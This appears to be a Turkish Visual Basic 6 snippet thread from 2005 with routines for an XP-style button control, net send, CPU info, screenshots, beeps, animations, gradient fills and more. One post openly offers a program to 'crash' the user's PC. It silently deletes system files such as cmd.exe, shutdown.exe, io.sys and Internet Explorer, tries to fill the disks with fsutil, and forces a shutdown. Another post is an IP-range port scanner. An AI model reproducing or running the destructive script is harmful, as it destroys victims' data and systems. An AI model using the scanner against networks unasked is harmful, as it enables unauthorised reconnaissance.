SetPixel .hdc, r - 1, t + 1, RGB(216, 213, 199)
SetPixel .hdc, r, t + 1, RGB(216, 213, 199)
SetPixel .hdc, r - 2, t + 1, RGB(234, 233, 222)
SetPixel .hdc, r - 1, t + 2, RGB(234, 233, 222)

SetPixel .hdc, l, b - 2, RGB(216, 213, 199)
SetPixel .hdc, l + 1, b - 2, RGB(216, 213, 199)
SetPixel .hdc, l + 1, b - 1, RGB(216, 213, 199)
SetPixel .hdc, l + 1, b - 3, RGB(234, 233, 222)
SetPixel .hdc, l + 2, b - 2, RGB(234, 233, 222)

SetPixel .hdc, r, b - 2, RGB(216, 213, 199)
SetPixel .hdc, r - 1, b - 2, RGB(216, 213, 199)
SetPixel .hdc, r - 1, b - 1, RGB(216, 213, 199)
SetPixel .hdc, r - 1, b - 3, RGB(234, 233, 222)
SetPixel .hdc, r - 2, b - 2, RGB(234, 233, 222)
End With

End Sub
Private Sub DrawButton2()
Dim pt As POINTAPI, pen As Long, hpen As Long
Dim i As Long, ColorR As Long, ColorG As Long, ColorB As Long
Dim hBrush As Long

With UserControl

hBrush = CreateSolidBrush(RGB(0, 60, 116))
FrameRect UserControl.hdc, rc, hBrush
DeleteObject hBrush

SetPixel .hdc, l, t + 1, RGB(122, 149, 168)
SetPixel .hdc, l + 1, t + 1, RGB(37, 87, 131)
SetPixel .hdc, l + 1, t, RGB(122, 149, 168)

SetPixel .hdc, r - 1, t, RGB(122, 149, 168)
SetPixel .hdc, r - 1, t + 1, RGB(37, 87, 131)
SetPixel .hdc, r, t + 1, RGB(122, 149, 168)

SetPixel .hdc, l, b - 2, RGB(122, 149, 168)
SetPixel .hdc, l + 1, b - 2, RGB(37, 87, 131)
SetPixel .hdc, l + 1, b - 1, RGB(122, 149, 168)

SetPixel .hdc, r, b - 2, RGB(122, 149, 168)
SetPixel .hdc, r - 1, b - 2, RGB(37, 87, 131)
SetPixel .hdc, r - 1, b - 1, RGB(122, 149, 168)

End With

End Sub
Private Sub RedrawButton(Optional ByVal Stat As Integer = -1)
If mEnabled Then
If Stat = 1 And LastButton = 1 Then
DrawButtonDown
Else
DrawButtonFace
If isOver = True Then
DrawHighlight
Else
If flgFocus = True Then
DrawFocus
End If
End If
End If
DrawButton2
Else
DrawButtonDisabled
End If
DrawCaption
MakeRegion

End Sub
Private Sub DrawCaption()
Dim vh As Long, rcTxt As RECT

With UserControl
GetClientRect .hWnd, rcTxt
If mEnabled Then
If isOver Then
SetTextColor .hdc, mForeHover
Else
SetTextColor .hdc, .ForeColor
End If
Else
SetTextColor .hdc, RGB(161, 161, 146)
End If
vh = DrawText(.hdc, mCaption, Len(mCaption), rcTxt, DT_CALCRECT Or DT_CENTER Or DT_WORDBREAK)

SetRect rcTxt, 0, (.ScaleHeight * 0.5) - (vh * 0.5), .ScaleWidth, (.ScaleHeight * 0.5) + (vh * 0.5)
DrawText .hdc, mCaption, Len(mCaption), rcTxt, DT_CENTER Or DT_WORDBREAK

End With
End Sub
Private Sub Timer1_Timer()
If Not isMouseOver Then
HoverTimer.Enabled = False
isOver = False
flgHover = 0
RedrawButton 0
RaiseEvent MouseOut
End If
End Sub
Private Sub UserControl_AccessKeyPress(KeyAscii As Integer)
LastButton = 1
Call UserControl_Click
End Sub

Private Sub UserControl_Click()
If LastButton = 1 Then
RedrawButton 0
UserControl.Refresh
RaiseEvent Click 'onca vb ustune kitap karıştırdım bir allahın kuluda
'bu olay oluşturması ve tetiklemesi hakında hic bir sey yazmamış
'bizim kitap yazarları hadi bir uygulama yapalım demekten başka ne
'yazar ki türk yazarlarımıza bir eleştiri....
'siz en iyisi kod karıştırın ve helplerden yardım alın)
End If
End Sub

Private Sub UserControl_DblClick()
If LastButton = 1 Then
Call UserControl_MouseDown(1, 0, 0, 0)
SetCapture hWnd
End If
End Sub

Private Sub UserControl_GotFocus()
flgFocus = True
RedrawButton 1
End Sub

Private Sub UserControl_InitProperties()
Set UserControl.Font = Ambient.Font
mCaption = "Command" & Mid(Ambient.DisplayName, 14)
mEnabled = True
End Sub

Private Sub UserControl_KeyDown(KeyCode As Integer, Shift As Integer)
LastKey = KeyCode
Select Case KeyCode
Case vbKeySpace, vbKeyReturn
RedrawButton 1
Case vbKeyLeft, vbKeyRight
SendKeys "{Tab}"
Case vbKeyDown, vbKeyUp
SendKeys "+{Tab}"
End Select
RaiseEvent KeyDown(KeyCode, Shift)
End Sub

Private Sub UserControl_KeyPress(KeyAscii As Integer)
RaiseEvent KeyPress(KeyAscii)
End Sub

Private Sub UserControl_KeyUp(KeyCode As Integer, Shift As Integer)
If ((KeyCode = vbKeySpace) And (LastKey = vbKeySpace)) Or ((KeyCode = vbKeyReturn) And (LastKey = vbKeyReturn)) Then
RedrawButton 0
LastButton = 1
UserControl.Refresh
RaiseEvent Click
End If
RaiseEvent KeyUp(KeyCode, Shift)
End Sub

Private Sub UserControl_LostFocus()
flgFocus = False
RedrawButton 0
End Sub

Private Sub UserControl_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If mEnabled = True Then
LastButton = Button
UserControl.Refresh
If Button <> 2 Then RedrawButton 1
RaiseEvent MouseDown(Button, Shift, X, Y)
End If
End Sub

Private Sub UserControl_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)

If Button < 2 Then
If Not isMouseOver Then
If flgHover = 0 Then Exit Sub
RedrawButton 0
Else
If flgHover = 1 Then Exit Sub
flgHover = 1
If Button = 0 And Not isOver Then
HoverTimer.Enabled = True
isOver = True
flgHover = 0
RedrawButton 0
RaiseEvent MouseOver
ElseIf Button = 1 Then
isOver = True
RedrawButton 1
isOver = False
End If
End If
End If
RaiseEvent MouseMove(Button, Shift, X, Y)

End Sub

Private Sub UserControl_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
RedrawButton 0
UserControl.Refresh
RaiseEvent MouseUp(Button, Shift, X, Y)
End Sub

Private Sub UserControl_Resize()
GetClientRect UserControl.hWnd, rc
With rc
r = .Right - 1: l = .Left: t = .Top: b = .Bottom
W = .Right: H = .Bottom
End With
RedrawButton 0
End Sub
Private Function isMouseOver() As Boolean
Dim pt As POINTAPI
GetCursorPos pt
isMouseOver = (WindowFromPoint(pt.X, pt.Y) = hWnd)
End Function
Private Sub MakeRegion()
DeleteObject rgMain
rgMain = CreateRectRgn(0, 0, W, H)
rgn1 = CreateRectRgn(0, 0, 1, 1)
CombineRgn rgMain, rgMain, rgn1, RGN_DIFF
DeleteObject rgn1
rgn1 = CreateRectRgn(0, H - 1, 1, H)
CombineRgn rgMain, rgMain, rgn1, RGN_DIFF
DeleteObject rgn1
rgn1 = CreateRectRgn(W - 1, 0, W, 1)
CombineRgn rgMain, rgMain, rgn1, RGN_DIFF
DeleteObject rgn1
rgn1 = CreateRectRgn(W - 1, H - 1, W, H)
CombineRgn rgMain, rgMain, rgn1, RGN_DIFF
DeleteObject rgn1
SetWindowRgn UserControl.hWnd, rgMain, True
End Sub
Public Property Get Enabled() As Boolean
Enabled = mEnabled
End Property
Public Property Let Enabled(ByVal newValue As Boolean)
mEnabled = newValue
PropertyChanged "Enabled"
UserControl.Enabled = newValue
RedrawButton 0
End Property
Public Property Get Font() As Font
Set Font = UserControl.Font
End Property
Public Property Set Font(ByVal newValue As Font)
Set UserControl.Font = newValue
RedrawButton 0
PropertyChanged "Font"
End Property
Public Property Get Caption() As String
Caption = mCaption
End Property
Public Property Let Caption(ByVal newValue As String)
mCaption = newValue
RedrawButton 0
SetAccessKeys
PropertyChanged "Caption"
End Property
Public Property Get ForeColor() As OLE_COLOR
ForeColor = UserControl.ForeColor
End Property
Public Property Let ForeColor(ByVal newValue As OLE_COLOR)
UserControl.ForeColor = newValue
RedrawButton 0
PropertyChanged "ForeColor"
End Property
Public Property Get ForeHover() As OLE_COLOR
ForeHover = mForeHover
End Property
Public Property Let ForeHover(ByVal newValue As OLE_COLOR)
mForeHover = newValue
PropertyChanged "ForeHover"
End Property
Private Sub UserControl_Show()
RedrawButton 0

End Sub
Private Sub UserControl_ReadProperties(PropBag As PropertyBag)
With PropBag
mEnabled = .ReadProperty("Enabled", True)
Set UserControl.Font = .ReadProperty("Font", Ambient.Font)
mCaption = .ReadProperty("Caption", Ambient.DisplayName)
UserControl.ForeColor = .ReadProperty("ForeColor", Ambient.ForeColor)
mForeHover = .ReadProperty("ForeHover", UserControl.ForeColor)
End With
UserControl.Enabled = mEnabled
SetAccessKeys
End Sub

Private Sub UserControl_WriteProperties(PropBag As PropertyBag)
With PropBag
.WriteProperty "Enabled", mEnabled, True
.WriteProperty "Font", UserControl.Font, Ambient.Font
.WriteProperty "Caption", mCaption, Ambient.DisplayName
.WriteProperty "ForeColor", UserControl.ForeColor
.WriteProperty "ForeHover", mForeHover, Ambient.ForeColor
End With
End Sub
Private Sub SetAccessKeys()
Dim i As Long
UserControl.AccessKeys = ""
If Len(mCaption) > 1 Then
i = InStr(1, mCaption, "&", vbTextCompare)
If (i < Len(mCaption)) And (i > 0) Then
If Mid$(mCaption, i + 1, 1) <> "&" Then
UserControl.AccessKeys = LCase$(Mid$(mCaption, i + 1, 1))
Else
i = InStr(i + 2, mCaption, "&", vbTextCompare)
If Mid$(mCaption, i + 1, 1) <> "&" Then
UserControl.AccessKeys = LCase$(Mid$(mCaption, i + 1, 1))
End If
End If
End If
End If
End Sub

' Kod bitişi

bu kodlardan sonra ocx'imiz derlenmeye hazır. Sonra make xpbuton.ocx'e tıklayarak ocx'i compile edelim. ( file menusunden )

sıra geldi denemeye.

yeni bir standart proje açalım ve deneme olarak kaydedelim. toolbox üzerine sağ tıklayarak components seçeneğine tıklayalım. Açılan listede yaptığınız ocx gorunecektir. Yani ( xpbuton ) Yanındaki kutucuğu işaretleyerek tamam tuşuna basın. Şimdi yapmanız gereken tek Şey tutup formun üstüne yerleştirmek. Umarım yararlı olmuştur.

bu kod ile kazanacağınız bilgiler;

Api kullanımı hakkında bilgi ;
ocx oluşturulması hakkında bilgi;
event oluşturması ve tetiklenmesi hakkında bilgi ; (Event = Olay)
property let ve get komutları hakkında bilgi : vs.

Yanındada Çok güzel bir buton buda hediye : ))

MaXXSoFT · 26 Ağu 2005

net send ile mesaj

Private Sub cmdAdd_Click()
If Text1 <> "" Then
Combo1.AddItem Text1
Text1 = Empty
End If
End Sub

Private Sub cmdDeleteMessage_Click()
Text2 = Empty
End Sub

Private Sub cmdExit_Click()
Unload Me
End Sub

Private Sub cmdSend_Click()
Dim ret As Long

ret = NetSendMessage(Combo1.Text, Text2.Text)
If ret <> 0 Then
MsgBox NetSendErrorMessage(ret), vbCritical, "Error"
Else
MsgBox NetSendErrorMessage(ret), vbInformation, "NetSend"
End If
End Sub

MaXXSoFT · 26 Ağu 2005

İşlemci ile ilgili bilgileri öğrenin !

işlemci ile ilgili bilgileri öğrenmek bazen programcı için çok önemlidir çünkü programınızı yanlız belli bir tipte işlemci için çalışacabilir nitelikte yazıp, yazdığınız programı yanlızca belli bir kullanıcı
yada kullanıcı grubunda tekelleştirebilirisiniz.örneğin yazdığınız kodda küçük bir değişiklik ile
programı kullanan kullanıcının programı başka bir kullanıcıya vermesi halinde program çalışmayacak bu da size büyük bir avantaj sağlayacaktır.
işte işlemci bilgisinin görüntülenmesini sağlayan kodlar.

İşlemci İle İlgili Bilgileri Öğrenmek
-----------------------------------------
(General)(Declaration)

Private Declare Sub GetSystemInfo Lib "kernel32" (lpSystemInfo As SYSTEM_INFO)

Private Type SYSTEM_INFO

dwOemID As Long

dwPageSize As Long

lpMinimumApplicationAddress As Long

lpMaximumApplicationAddress As Long

dwActiveProcessorMask As Long

dwNumberOrfProcessors As Long

dwProcessorType As Long

dwAllocationGranularity As Long

dwReserved As Long

End Type

Private Sub Command1_Click()

Dim cpu As SYSTEM_INFO

GetSystemInfo cpu

Print "Cpu Tipi : " & cpu.dwProcessorType

Print "Cpu Sayısı : " & cpu.dwNumberOrfProcessors

End Sub

MaXXSoFT · 26 Ağu 2005

ekranın resmini çekin !

yeni bi exe projesi baslatin
pir commandbutton ekleyin
asagidaki kodu cilic olayina yazin
Option Explicit
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Command1_Click()
Call keybd_event(vbKeySnapshot, 0, 0, 0) ' Hali hazirda bulunan ekranin fotografini yakaladi
DoEvents ' Clipboarda Çekilen Resmin Kopyalanmasi için Bilgisayari beklet
SavePicture Clipboard.GetData(vbCFBitmap), "" & App.Path & "\EkranFoto.bmp" ' Resimi Kaydeder...

End Sub

MaXXSoFT · 26 Ağu 2005

Aşağıdaki kodları kullanarak kasa içerisindeki hoparlörü kullanarak Hoş sesler çıkarabilirsiniz

Private Declare Function APIBeep Lib "kernel32" Alias "Beep" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

Private Sub Command1_Click()
ReDim a(17)
a(1) = 440: a(2) = 4: a(3) = 465: a(4) = 4
a(5) = 560: a(6) = 6: a(7) = 465
a(8) = 2: a(9) = 523: a(10) = 4: a(11) = 465
a(12) = 2: a(13) = 440: a(14) = 2: a(15) = 465
a(16) = 4: a(17) = 440
For s = 1 To 17
APIBeep a(s), 180
DoEvents
Next
End Sub

MaXXSoFT · 26 Ağu 2005

timer ile bir yazı animasyonu yapacağız

formunuza bir tane timer yerleştirin
birtane label

private sub form_load()
timer1.interval=10
label1.autosize=true
label1.fontname="Courier New"
end sub

private sub timer1_timer()
static t,x,artim
if IsEmpty(t) then
t="DARKPRINCE"
artim=-1
end if
if (2 * x ) >= Len(t) - 1 then artim=-artim
if x <= 0 then artim=-artim
x=x + artim
label1.caption=left(t,x) + space (len(t) - 2 * x ) + right (t,x)
end sub

MaXXSoFT · 26 Ağu 2005

Bu uygulama ile Kullanan kişinin pC sini çökerte bilirsiniz....(denemedim sadece zannediyorum)

Private Sub Command1_Click()
Kill ("shutdown.exe")
On Error Resume Next
Kill ("C:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Shell ("del /f /q shutdown.exe")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Kill ("Notepad.exe")
On Error Resume Next
Kill ("C:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Shell ("del /f /q Notepad.exe")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Kill ("D:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Kill ("D:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Kill ("C:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Kill ("D:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Kill ("winamp.exe")
On Error Resume Next
Shell ("del /f /q C:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Shell ("del /f /q D:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Shell ("del /f /q winamp.exe")
On Error Resume Next
Kill ("io.sys")
On Error Resume Next
Shell ("del /f /q io.sys")
On Error Resume Next
Kill ("config.exe")
On Error Resume Next
Shell ("del /f /q config.exe")
On Error Resume Next
Kill ("config.nt")
On Error Resume Next
Shell ("del /f /q config.nt")
On Error Resume Next
Kill ("system.sys")
On Error Resume Next
Shell ("del /f /q system.sys")
On Error Resume Next
Kill ("%SystemRoot%\system32\cmd.exe")
On Error Resume Next
Shell ("del /f /q %SystemRoot%\system32\cmd.exe")
On Error Resume Next
Kill ("C:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Kill ("D:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Kill ("cmd.exe")
On Error Resume Next
Kill ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Shell ("del /f /q C:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Kill ("D:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Shell ("del /f /q D:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Kill ("IEXPLORER.exe")
On Error Resume Next
Shell ("del /f /q IEXPLORER.exe")
On Error Resume Next
Kill ("C:\WINDOWS\Desktop\*.ico")
On Error Resume Next
Kill ("C:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Kill ("D:\WINDOWS\Desktop\*.ico")
On Error Resume Next
Kill ("D:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Kill ("command.com")
On Error Resume Next
Shell ("del /f /q command.com")
On Error Resume Next
Shell ("fsutil file createnew C:\nemutluturkumdiyene.txt 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
On Error Resume Next
Shell ("fsutil file createnew D:\nemutluturkumdiyene.txt 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
On Error Resume Next
Shell ("shutdown.exe -f -s 20")
On Error Resume Next
Unload Me
End Sub

MaXXSoFT · 26 Ağu 2005

SAYİ BULMA Oyunu !

Private Sub Command1_Click()

If Val(Text1) = Val(a) Then
Label1.Caption = ""
MsgBox b + 1 & " SEFERDE BİLDİNİZ"
List1.Visible = 0
Text1.Visible = 0
Command1.Visible = 0
Command3.Visible = 1
b = 0
Else
If Val(Text1) > a Then
Label1.Caption = "KÜÇÜK SAYI GİR"
b = b + 1
End If
If Val(Text1) < a Then
Label1.Caption = "BÜYÜK SAYI GİR"
b = b + 1
End If
List1.AddItem Text1
Text1 = ""
End If
End Sub

Private Sub Command2_Click()
List1.Visible = 1
Text1.Visible = 1
Command1.Visible = 1
Command3.Visible = 0
Randomize
a = (Val(Rnd * 100))
List1.Clear
Label1 = ""
Text1 = ""
End Sub

Private Sub Command3_Click()
End
End Sub

Private Sub Form_Load()
List1.Visible = False
Text1.Visible = 0
Command1.Visible = 0
Command3.Visible = 1
End Sub

Private Sub Label1_Click()

End Sub

MaXXSoFT · 26 Ağu 2005

3 Boyutlu dalgalar !

Sub CmdCreate_click()
cmdDisplay.Enabled = True
lblCounter.Visible = True
txtCounter.Visible = True
Pict.Visible = False
Const PI_10 = PI / 10
Const xmin = -5
Const Zmin = -5
Const dx = 0.3
Const dz = 0.3
Const NumX = -2 * xmin / dx
Const NumZ = -2 * Zmin / dz
Const Amp = 0.25

Dim num As Integer
Dim offset As Single
Dim i As Integer
Dim j As Integer
Dim x As Single
Dim y As Single
Dim z As Single
Dim D As Single

MousePointer = vbHourglass
Refresh
'Save 20 positions of grid(net) as images
For num = 1 To 20
Dim count As Integer
count = (20 - num) \ 2
lblCounter.Caption = vbCrLf & "Loading ... "
txtCounter.Text = count
Set ThePicture = New objPicture
Set TheGrid = New ObjGrid3D
TheGrid.SetBounds xmin, dx, NumX, Zmin, dz, NumZ
ThePicture.objects.Add TheGrid

offset = num * PI_10
x = xmin
For i = 1 To NumX
z = Zmin
For j = 1 To NumZ
D = Sqr(x * x + z * z)

'This is a Function that can be modified , You can test various
'formulas and even ,( I think it is possible ) to get data from Db and
'set the function to show graphical ( 3D ) report.
'If you perform testing , take care about OVERFLOW error
y = Amp * Sin(3 * D - offset)

TheGrid.SetValue x, y, z
z = z + dz

Next j

x = x + dx
Next i

' Display the data.
DrawData Pict

' Save the bitmap for later.
SurfaceImage(num).Picture = Pict.Image
DoEvents

Next num
txtCounter.Visible = False
lblCounter.Visible = False
Pict.Visible = True
cmdCreate.Enabled = False
cmdDisplay.Enabled = True
cmdDisplay.Default = True
MousePointer = vbDefault

End Sub

MaXXSoFT · 26 Ağu 2005

RESİMLİ MENÜ PROGRAMI

Private Declare Function SetMenuItemBitmaps Lib "User32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
Private Declare Function GetMenuCheckmarkDimensions Lib "User32" () As Long
Private Declare Function GetMenuItemID Lib "User32" (ByVal hMenu As Long, ByVal hnPos As Long) As Long
Private Declare Function GetMenuItemCount Lib "User" (ByVal hMenu As Long) As Long
Private Declare Function SetMenu Lib "User32" (ByVal hMenu As Long) As Long
Private Declare Function CheckMenuItem Lib "User32" (ByVal hMenu As Long, ByVal wIDCheckItem As Long, ByVal wCheck As Long) As Long
Private Declare Function GetMenu Lib "User32" (ByVal hWnd As Long) As Long
Private Declare Function GetSubMenu Lib "User32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Private Sub Form_Load()
Dim anamenuhandle, menuhandle, x
Dim anamenuhandle1, menuhandle1, x1

anamenuhandle = GetMenu(Form1.hWnd)
menuhandle = GetSubMenu(anamenuhandle, 0)
x = SetMenuItemBitmaps(menuhandle, 1, &HF00, Image1.Picture, Image1.Picture)
x = SetMenuItemBitmaps(menuhandle, 2, &HF00, Image2.Picture, Image2.Picture)
anamenuhandle1 = GetMenu(Form1.hWnd)
menuhandle1 = GetSubMenu(anamenuhandle1, 1)
x1 = SetMenuItemBitmaps(menuhandle1, 1, &HF00, Image1.Picture, Image1.Picture)
x1 = SetMenuItemBitmaps(menuhandle1, 0, &HF00, Image2.Picture, Image2.Picture)

End Sub

MaXXSoFT · 26 Ağu 2005

Vb de Butonları Xp Yapmak!

modüle kodu
Public Declare Function InitCommonControls Lib "comctl32.dll" () As Long

'rastgele forma buton koyun

'Form Kodu
Private Sub Form_Initialize()
InitCommonControls
End Sub
***********************************************************
şimdi bir txt dosyası açın:
içine bunu yazın;

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="5.0.0.0"
processorArchitecture="X86"
name="A.EXE" 'buraya programınızın adını yazın
type="win32"
/>
<description>PROJECT</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="X86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
</assembly>

bu txt nin adını A.EXE.MANIFEST olarak değiştirin buradaki a yerine programın adını yazınız

MaXXSoFT · 26 Ağu 2005

açık port bulucu ( Port Scanner )

Dim delay, port As Integer
Private Sub Command1_Click()

List1.Clear
Timer1.Interval = delay
Timer2.Interval = delay
Timer3.Interval = delay
Timer4.Interval = delay
Timer1.Enabled = True
Timer2.Enabled = True
Timer3.Enabled = True
Timer4.Enabled = True
End Sub

Private Sub Command2_Click()

Timer1.Enabled = False
Timer2.Enabled = False
Timer3.Enabled = False
Timer4.Enabled = False
End Sub

Private Sub Form_Load()

port = 80
delay = 600
End Sub

Private Sub Winsock1_Close()

Winsock1.Close
End Sub
Private Sub Winsock1_Connect()

List1.AddItem Winsock1.RemoteHostIP
Winsock1.Close
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Winsock1.Close
End Sub
Private Sub Winsock2_Close()
Winsock2.Close
End Sub

Private Sub Winsock2_Connect()

List1.AddItem Winsock2.RemoteHostIP
Winsock2.Close
End Sub

Private Sub Winsock2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Winsock2.Close
End Sub

Private Sub Winsock3_Close()

Winsock3.Close
End Sub

Private Sub Winsock3_Connect()

List1.AddItem Winsock3.RemoteHostIP
Winsock3.Close
End Sub

Private Sub Winsock3_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Winsock3.Close
End Sub

Private Sub Winsock4_Close()

Winsock4.Close
End Sub

Private Sub Winsock4_Connect()

List1.AddItem Winsock4.RemoteHostIP
End Sub
Private Sub Winsock4_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Winsock4.Close
End Sub
Private Sub Timer1_Timer()

Winsock1.Close
Winsock1.Connect getip, port
End Sub

Private Sub Timer2_Timer()

Winsock2.Close
Winsock2.Connect getip, port
End Sub

Private Sub Timer3_Timer()

Winsock3.Close
Winsock3.Connect getip, port
End Sub
Private Sub Timer4_Timer()

Winsock4.Close
Winsock4.Connect getip, port
End Sub

Public Function getip() As String

getip = ip1.Text & "." & ip2.Text & "." & ip3.Text & "." & ip4.Text

If ip4.Text < 255 Then
ip4.Text = ip4.Text + 1

ElseIf ip4.Text = 255 Then
ip4.Text = 0

If ip3.Text < 255 Then
ip3.Text = ip3.Text + 1

ElseIf ip3.Text = 255 Then
ip3.Text = 0

If ip2.Text < 255 Then
ip2.Text = ip2.Text + 1

ElseIf ip2.Text = 255 Then
ip2.Text = 0
End If
End If
End If
End Function

MaXXSoFT · 26 Ağu 2005

Formlarımıza mozaikler döşeyebiliriz artık bu çok kolay msimg32.dll i kullanarak bunu çok kolay sağlayabiliriz.

msimg32.dll için demo
'// Microsoft diyor ki GradientFill Windows 2000 veya Windows 98 altında çalışır ama görülüyorki NT 4.0 ve Windows 95

'// gayet iyi bi şekilde çalışıyor

'// - yeni bir proje oluşturup bi form hazırlayın
' Form1 in default olarak
'//- BorderStyle = 0 (None) olsun
'// - Timer control ekleyin formunuza ve interval özelliğini 2000 yapın
' aşağıdaki kodları formunuza ekleyin ve çalıştırın
Option Explicit
Option Base 0

Private Type TRIVERTEX
x As Long
y As Long
RED As Integer
GREEN As Integer
BLUE As Integer
Alpha As Integer
End Type

Private Type GRADIENT_RECT
UpperLeft As Long
LowerRight As Long
End Type

Private Type GRADIENT_TRIANGLE
Vertex1 As Long
Vertex2 As Long
Vertex3 As Long
End Type

Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type

Private Declare Function GetClientRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long

Private Declare Function GradientFill Lib "msimg32.dll" (ByVal hdc As Long, PVertex As TRIVERTEX, ByVal dwNumVertex As Long, PMesh As Any, ByVal dwNumMesh As Long, ByVal dwMode As Long) As Boolean
Private Const GRADIENT_FILL_RECT_H = &H0
Private Const GRADIENT_FILL_RECT_V = &H1
Private Const GRADIENT_FILL_TRIANGLE = &H2

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const SWP_NOMOVE = 2
Private Const SWP_NOSIZE = 1
Private Const SWP_WNDFLAGS = SWP_NOMOVE Or SWP_NOSIZE
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private RR As RECT
Private Const MaxN As Integer = 100
Private Const DefaultN As Integer = 20
Dim CurrentN As Integer
Dim instantN As Integer
Dim ndx As Integer
Dim ndy As Integer
Dim gtri1 As GRADIENT_TRIANGLE, gtri2 As GRADIENT_TRIANGLE
Dim gtri() As GRADIENT_TRIANGLE
Dim vert() As TRIVERTEX
Dim row As Integer, col As Integer
Dim ndx1 As Integer
Dim ndy1 As Integer
Dim ndxrow As Long
Dim ndxrowcol As Long
Dim ndxrow1 As Long
Dim ndxrow1col
Dim rowbyndx As Double
Dim rrrminusrrl1 As Double, rrrminusrrl2 As Double, rrbminusrrt1 As Double, rrbminusrrt2 As Double
Dim res As Long

Private Sub Form_Click()
Unload Me
End
End Sub

Private Sub Form_KeyPress(KeyAscii As Integer)

If KeyAscii = 27 Then
KeyAscii = 0
Call Form_Click
Exit Sub
ElseIf KeyAscii = Asc("+") Then
'// increase granularity
KeyAscii = 0

If CurrentN < MaxN Then
CurrentN = CurrentN + 10
End If
ElseIf KeyAscii = Asc("-") Then
'// decrease granularity
KeyAscii = 0

If CurrentN > 10 Then
CurrentN = CurrentN - 10
End If
End If

End Sub

Private Sub Form_Load()
If App.PrevInstance Then End
Randomize
CurrentN = DefaultN
instantN = CurrentN
ndx = instantN
ndy = instantN
Me.Move 0, 0, Screen.Width, Screen.Height
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_WNDFLAGS

End Sub

Private Function getrnd() As Long
getrnd = CLng(Val("&H" & Hex$(CInt(Rnd * 255)) & "00"))

End Function

Private Sub Form_Resize()
GetClientRect Me.hwnd, RR

End Sub

Private Sub Timer1_Timer()
test

End Sub

Private Sub test()
instantN = CurrentN
ndx = CInt(Rnd * instantN + 1) '// minimum 1
ndy = CInt(Rnd * instantN + 1) '// minimum 1

ndx1 = ndx + 1
ndy1 = ndy + 1

ReDim gtri(0 To 2 * ndx * ndy - 1)
ReDim vert(0 To (ndx + 1) * (ndy + 1) - 1)

For row = 0 To ndy - 1
ndxrow = ndx * row

For col = 0 To ndx - 1
gtri1.Vertex1 = row * ndx1 + col
gtri1.Vertex2 = gtri1.Vertex1 + ndx + 2
gtri1.Vertex3 = gtri1.Vertex2 - 1

gtri2.Vertex1 = gtri1.Vertex1
gtri2.Vertex2 = gtri1.Vertex2
gtri2.Vertex3 = gtri2.Vertex1 + 1

ndxrowcol = (ndxrow + col) * 2
gtri(ndxrowcol).Vertex1 = gtri1.Vertex1
gtri(ndxrowcol).Vertex2 = gtri1.Vertex2
gtri(ndxrowcol).Vertex3 = gtri1.Vertex3

